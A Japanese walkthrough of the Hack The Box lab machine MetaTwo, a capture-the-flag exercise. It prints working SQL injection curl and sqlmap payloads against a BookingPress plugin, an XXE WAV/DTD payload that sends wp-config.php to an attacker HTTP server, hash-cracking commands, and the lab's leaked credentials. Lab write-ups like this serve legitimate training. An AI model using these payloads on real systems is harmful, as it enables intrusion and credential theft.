0.はじめに
hacktheboxのMetaTwo攻略方法です。
複数の脆弱性を活用しないとユーザフラグまでたどり着けないです。
一方で、rootへの権限昇格は短めです。
途中のSQLインジェクションをする場面でsqlmapツールを試すことが出来るのでその部分までは試してほしいです。
1.nmapでポートスキャン
①開いているポートの確認
nmap -sT 10.10.11.186
②ポートの詳細を確認
nmap -sC -sV -sT -p 21,22,80 10.10.11.186
2.webサイト調査
①webサイトにアクセス
http://10.10.11.186
以下のURLに遷移して、サーバー接続エラーになるのでhostsに追記します。
http://metapress.htb/
hostsへの追記
cd /etc/
sudo nano hosts
10.10.11.186 metapress.htb
hostsへの追記後、再度webサイトにアクセスします。
http://10.10.11.186
再びURLは遷移しますが、今度はサーバー接続エラーにならず表示されます。
また、Webページ下部の記載からWordPressで作成されていることが推測されます。
②ディレクトリ調査
gobuster dir -u http://10.10.11.186 -w /usr/share/wordlists/dirb/common.txt
以下のリダイレクトエラーが発生するので、ホスト名で再実施します。
2025/09/22 14:31:03 the server returns a status code that matches the provided options for non existing urls. http://10.10.11.186/44317101-b203-4de0-9daa-59aae6fa39fb => 302 (redirect to http://metapress.htb/) (Length: 145). Please exclude the response length or the status code or set the wildcard option.. To continue please exclude the status code or the length
ホスト名で再実施します。
gobuster dir -u http://metapress.htb -w /usr/share/wordlists/dirb/common.txt
wp-adminがあるのでWordPressで構成されていると考えて良さそうです。
robots.txtもこのタイミングで確認してみましたが有益な情報はなかったので記事では省略します。
③Wappalyzerによるバージョン確認
Wappalyzerのプラグインをクリック
Wappalyzerウィンドウにバージョン情報が表示されます。
バージョン情報
SW | バージョン |
---|---|
WordPress | 5.6.2 |
Nginx | 1.18.0 |
PHP | 8.0.24 |
④eventsページの確認
「http://metapress.htb/events/
」をクリック
以下のURLに遷移します。
http://metapress.htb/events/
以下は44〜54行目のページソース
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_vue.min.js?ver=1.0.10' id='bookingpress_vue_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_axios.min.js?ver=1.0.10' id='bookingpress_axios_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_wordpress_vue_qs_helper.js?ver=1.0.10' id='bookingpress_wordpress_vue_helper_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_element.js?ver=1.0.10' id='bookingpress_element_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_vue_calendar.js?ver=1.0.10' id='bookingpress_calendar_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_moment.min.js?ver=1.0.10' id='bookingpress_moment_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_tel_input.js?ver=1.0.10' id='bookingpress_tel_input_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_element_en.js?ver=1.0.10' id='bookingpress_element_en_js-js'></script>
<link rel="https://api.w.org/" href="http://metapress.htb/wp-json/" /><link rel="alternate" type="application/json" href="http://metapress.htb/wp-json/wp/v2/pages/21" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://metapress.htb/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://metapress.htb/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 5.6.2" />
bookingpressプラグインの1.0.10を使っているように見えます。
3.脆弱性の調査
①bookingpressプラグインの脆弱性調査
「bookingpress 1.0.10 CVE」で検索すると以下のサイトが見つかります。
・BookingPress < 1.0.11 - Unauthenticated SQL Injection
https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357/
→「CVE-2022-0739」というSQLインジェクションの脆弱性があると判明します。
②WordPress:5.6.2の脆弱性調査
「WordPress 5.6.2 CVE」で検索すると以下のサイトが見つかる
・WordPress 5.6.2 Vulnerabilities
https://wpscan.com/wordpress/562/
・WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/
・PoC
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
→「CVE-2021-29447」というメディアライブラリにおいてXXE攻撃の脆弱性があると判明します。
③今後の流れを整理
以下の流れで攻略をしていきます。
(1)bookingpressプラグインの脆弱性を利用
SQLインジェクションでWordPress管理画面へのログイン情報を取得します。
(2)WordPress:5.6.2の脆弱性を利用
WordPress管理画面からXXEによりWordPressの設定ファイルを入手することで
ftpまたはsshについて、認証情報の取得を目指します。
4.WordPressのプラグインに関する脆弱性(SQLインジェクション)
4-1.PoCの検証
①eventsページソースから_wpnonceの値を検索
http://metapress.htb/events/
毎回固定値ではないので更新が発生したら取り直しになります。
今回は以下の値になります。
ef6d761ae4
②バージョン情報取得のSQLインジェクションコマンド作成
オリジナル
curl -i 'https://example.com/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
変更後
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
変更するのはURLと_wpnonceの部分です。
③バージョン情報取得のSQLインジェクション実行
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
以下のようなバージョン情報が取得出来れば成功です。
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
失敗例(_wpnonceを違う値で実行した場合)
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=xxxxx&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
以下のようなエラーが返ってきます。
{"variant":"error","title":"Error","msg":"Sorry, Your request can not process due to security reason."}
4-2.DB一覧を取得
(A)sqlmapコマンドで取得する場合
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=111" -p total_service --dbs
information_schemaとblogのDBを検知しました。
(B)curlコマンドで取得する場合
以下のコマンドを順番に実行していき結果が表示されなくなるまで1件ずつ確認します。
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT schema_name,2,3,4,5,6,7,8,9 FROM information_schema.schemata LIMIT 0,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT schema_name,2,3,4,5,6,7,8,9 FROM information_schema.schemata LIMIT 1,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT schema_name,2,3,4,5,6,7,8,9 FROM information_schema.schemata LIMIT 2,1-- -'
→information_schema
→blog
→なし
3件のコマンド実行結果からinformation_schemaとblogのDBがあると判断出来ます。
4-3.blogのテーブルの確認
(A)sqlmapコマンドで取得する場合
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=111" -p total_service -D blog --tables
wp_usersにユーザのWordPressログイン情報があるはずなので、次の作業で確認します。
(B)curlコマンドで取得する場合
DBの時と同様に1件ずつ取得するがinformation_schemaとblogのDBから探すことになります。
自分はLIMITの数字を1、10、30、60、...のような感じで増やして地道に調べました。
今回は86でwp_usersにヒットしています。
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT table_name,table_schema,3,4,5,6,7,8,9 FROM information_schema.tables LIMIT 86,1-- -'
4-4.wp_usersテーブルのレコードの確認
(A)sqlmapコマンドで取得する場合
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=111" -p total_service -D blog -T wp_users --dump
途中で聞かれる質問は全て否定しておく
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n
取得した情報をまとめると以下のとおり
ID | user_pass | user_email | user_login |
---|---|---|---|
1 | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. |
admin@metapress.htb |
admin |
2 | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 |
manager@metapress.htb |
manager |
(B)curlコマンドで取得する場合
先ほどと同様に1件ずつ取得します。
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT user_pass,user_email,user_login,4,5,6,7,8,9 FROM blog.wp_users LIMIT 0,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT user_pass,user_email,user_login,4,5,6,7,8,9 FROM blog.wp_users LIMIT 1,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT user_pass,user_email,user_login,4,5,6,7,8,9 FROM blog.wp_users LIMIT 2,1-- -'
→adminのレコード
→managerのレコード
→なし
4-5.パスワードの解読
取得したユーザ情報とパスワードハッシュ情報のファイルを作成します。
nano hash.txt
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
johnを利用してパスワードハッシュ情報を解析します。
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
managerのパスワードは以下であると結果が出ました。
partylikearockstar
adminのパスワードは時間を掛けても解析出来なかったので、手動停止しています。
5.WordPressのメディアライブラリに関する脆弱性(XXE)
①WordPress管理画面へのログイン
ディレクトリ調査結果と先ほどのパスワード解析結果から以下の情報でWordPress管理画面にログインします。
URL:http://metapress.htb/wp-admin
Username:manager
Password:partylikearockstar
②payload.wavとxxe.dtdファイルの作成
・payload.wavファイル
echo -en 'RIFF\x96\x00\x00\x00WAVEiXML\x89\x00\x00\x00<?xml version="1.0"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://10.10.16.9:8000/xxe.dtd">%sp;%param1;]><r>&exfil;</r>\x00' > payload.wav
payload.wavファイル作成次はnanoは使わないこと
・xxe.dtdファイル
nano xxe.dtd
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.16.9:8000/?%data;'>">
③httpサーバを起動
python3 -m http.server 8000
④payload.wavのアップロード
WordPress管理画面の左側メニューからMediaをクリック
起動していたhttpサーバにxxe.dtdファイルで取得しようとしていたデータが出力されます。
→実際に使うデータは「10.10.11.186 - - [23/Sep/2025 15:50:21] "GET /?PD9waHANC〜hwJzsNCg== HTTP/1.1" 200 -」の「PD9waHANC〜hwJzsNCg==」部分です。
⑤取得したデータの解析
取得したデータはphp://filterでBase64にエンコードされた状態です。
なので、単純にBase64でデコードします。
echo 'PD9waHANC〜hwJzsNCg==' | base64 -d
FTP接続情報
項目 | 値 |
---|---|
FTP_USER | metapress.htb |
FTP_PASS | 9NYS_ii@FyL_p5M2NvJ |
FTP_HOST | metapress.htb |
6.ftpで接続(metapress.htb)
①ftp接続
ftp 10.10.11.186
Name:metapress.htb
password:9NYS_ii@FyL_p5M2NvJ
②send_email.phpファイルの取得
ls
cd mailer
ls
get send_email.php
③ftpから切断
exit
④取得したsend_email.phpファイルの解析
cat send_email.php
以下の情報を取得します。
項目 | 値 |
---|---|
Username | jnelson@metapress.htb |
Password | Cb4_JmWM8zUZWMu@Ys |
この時点でDB、WordPress、ftpの情報は取得済みです。
今回取得した情報で新たに試せるのはSSHのみなので後続の作業で検証します。
7.sshで接続(jnelson)
①ssh接続
ssh jnelson@10.10.11.186
②userフラグの取得
cat /home/jnelson/user.txt
8.root権限取得
①jnelsonホームディレクトリの調査
cd ~
ls -la
「passpie」はパスワードマネージャーなので何らかの情報を取得できる可能性があります。
②keyファイルの取得
cd .passpie
ls -la
cat .keys
「/home/jnelson/.passpie/.keys」のファイルをローカルマシン側にコピーして解析したいので、ローカルマシン側で以下のscpコマンドを実行します。
scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./copykeys
③keyファイルからハッシュ値を抽出
copykeysファイルからハッシュ値を抽出します。
gpg2john copykeys > copykeys.hash
以下のようなエラーが発生するので、エラー内容からプライベートキー部分だけ残したファイルを作成します。
File copykeys
Error: Ensure that the input file copykeys contains a single private key only.
Error: No hash was generated for copykeys, ensure that the input file contains a single private key only.
(途中省略)
(途中省略)
赤枠部分が残す箇所です。
nanoでやってもいいですが標準でkaliに入っているエディタなどでGUI上で編集する方が楽です。
再度、ハッシュ値を抽出します。
gpg2john copykeys > copykeys.hash
④抽出したハッシュ値を解析
john -wordlist=/usr/share/wordlists/rockyou.txt copykeys.hash --format=gpg
blink182がパスフレーズだと判明します。
⑤passpieのデータを出力
SSH接続先でpasspieのデータを出力します。
passpie export /tmp/password.db
パスフレーズ:blink182
出力先をユーザホームディレクトリやtmpで試したのですが一定期間で削除されるような動作がありました。
出力したデータの確認
cat password.db
rootユーザのパスワードは以下であることがわかります
p7qfAZt4_A1xo_0x
⑥取得したパスワードでrootユーザに切り替え
su root
⑦rootフラグの取得
cat /root/root.txt
9.おわりに
SQLインジェクションの場面で、sqlmapツールを使う場合と使わない場合で試してやってみましたがsqlmapツールの威力を知ることができました。